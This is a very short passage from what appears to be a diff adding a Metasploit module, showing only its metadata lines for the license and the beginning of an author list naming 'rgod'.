}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod